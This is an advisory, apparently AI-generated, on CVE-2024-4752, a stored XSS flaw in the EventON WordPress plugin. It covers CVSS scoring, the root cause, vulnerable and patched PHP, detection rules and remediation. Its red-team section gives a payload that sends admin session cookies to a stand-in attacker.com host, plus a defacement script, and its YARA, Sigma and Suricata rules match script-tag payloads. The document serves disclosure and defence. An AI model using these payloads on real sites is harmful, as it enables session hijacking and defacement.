CVE-2024-4752

Executive Summary

CVE-2024-4752 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the EventON WordPress plugin, affecting versions prior to 2.2.15. This flaw allows high-privilege users, such as administrators, to inject malicious scripts into the plugin's settings. The injected scripts are stored and executed when other users (including lower-privilege users) access the affected settings pages. The vulnerability is particularly dangerous in multisite WordPress setups where the unfiltered_html capability is typically disallowed for administrators, as the plugin fails to properly sanitize and escape its settings fields, bypassing this security control.

Supply Chain & Package Security

This vulnerability resides within the WordPress plugin ecosystem. The EventON plugin is a commercial product distributed via third-party marketplaces and its own website. The risk is amplified in multisite environments where a compromised administrator account on one site could lead to cross-site contamination. Users should verify the integrity of the plugin update (version 2.2.15) by checking the official vendor's changelog and checksums. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): High (H) - An attacker needs administrator-level access to the WordPress site.
• User Interaction (UI): Required (R) - A user (e.g., another admin or editor) must access the compromised settings page.
• Scope (S): Changed (C) - The impact extends beyond the vulnerable component, affecting the user's browser session.
• Confidentiality (C): Low (L) - Limited information disclosure (e.g., session tokens).
• Integrity (I): Low (L) - Limited ability to modify content or perform actions.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement in a multisite environment elevates the risk. The requirement for high privileges reduces the likelihood of widespread exploitation, but the impact on confidentiality and integrity is significant.

Deep Dive & Mechanics

The vulnerability stems from insufficient input sanitization and output escaping in the EventON plugin's settings page. The plugin stores user-supplied data (e.g., calendar names, event labels, custom CSS/JS) in the WordPress options table without proper validation. When these settings are rendered in the admin dashboard, the plugin fails to escape the stored data, allowing an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The plugin uses functions like update_option() to store settings and then directly echoes the values without applying WordPress's built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post(). This allows an attacker to inject a payload like <script>alert('XSS')</script> into a text field.

Attack Flow:

1. An attacker with administrator privileges navigates to the EventON settings page.
2. The attacker inserts a malicious JavaScript payload into a vulnerable input field (e.g., "Calendar Name").
3. The plugin stores the payload in the wp_options table.
4. When another administrator (or any user with access to the settings page) loads the page, the payload is executed in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the site.

Multisite Impact: In a WordPress multisite network, super administrators can grant site administrators limited capabilities. The unfiltered_html capability is often disabled for site administrators to prevent XSS. However, because the EventON plugin does not sanitize its settings, a site administrator can bypass this restriction and inject malicious scripts that affect the entire network.

Vulnerable vs. Patched Code

Vulnerable Code (Version < 2.2.15):

// In a settings field rendering function
function eventon_settings_field($field_name, $value) {
    echo '<input type="text" name="' . $field_name . '" value="' . $value . '" />';
}

The $value variable is directly echoed without escaping, allowing XSS.

Patched Code (Version 2.2.15):

function eventon_settings_field($field_name, $value) {
    echo '<input type="text" name="' . esc_attr($field_name) . '" value="' . esc_attr($value) . '" />';
}

The esc_attr() function is used to escape the output, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress installation with the EventON plugin (version < 2.2.15).
• Administrator-level credentials.

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to EventON > Settings.
3. Locate a vulnerable input field (e.g., "Calendar Name").
4. Inject the following payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save the settings.
6. When another administrator visits the same settings page, the script executes and sends their session cookie to the attacker's server.

Alternative Payload (for defacement):

<script>document.body.innerHTML = '<h1>Hacked by Red Team</h1>';</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin access logs for unusual changes to EventON settings.
• Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests to /wp-admin/admin.php?page=eventon-settings.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Immediately update the EventON plugin to version 2.2.15 or later.
• In multisite environments, restrict the number of administrators and enforce strong passwords.
• Regularly audit plugin settings for unexpected changes.

Indicators of Compromise (IOCs)

• File System:
  • Modified EventON plugin files (check file integrity via checksums).
  • Suspicious entries in the wp_options table under the eventon_ option group.
• Network:
  • Outbound HTTP requests to known malicious domains from the WordPress admin dashboard.
  • Unusual POST requests to /wp-admin/admin.php?page=eventon-settings containing <script> tags.
• Logs:
  • WordPress debug log entries showing PHP warnings related to update_option().
  • Web server access logs with X-Forwarded-For headers from unexpected IPs.

Detection Engineering

YARA Rule

rule CVE_2024_4752_EventON_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-4752 in EventON plugin settings"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-4752"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $eventon_option = /eventon_/
    condition:
        $eventon_option and $xss_payload
}

Sigma Rule

title: CVE-2024-4752 EventON Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-4752 via EventON settings
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin.php'
        cs-uri-query: 'page=eventon-settings'
        cs-body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4752 EventON Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=eventon-settings"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade EventON to version 2.2.15 or later from the official vendor.
2. Audit Settings: Review all EventON settings for any injected scripts and remove them.
3. Reset Credentials: Force password reset for all administrator accounts.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce the principle of least privilege for WordPress users.
• Regularly scan for vulnerable plugins using tools like WPScan.
• Enable WordPress's built-in DISALLOW_UNFILTERED_HTML constant in wp-config.php for additional hardening.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For further analysis, contact security@valters-it.com.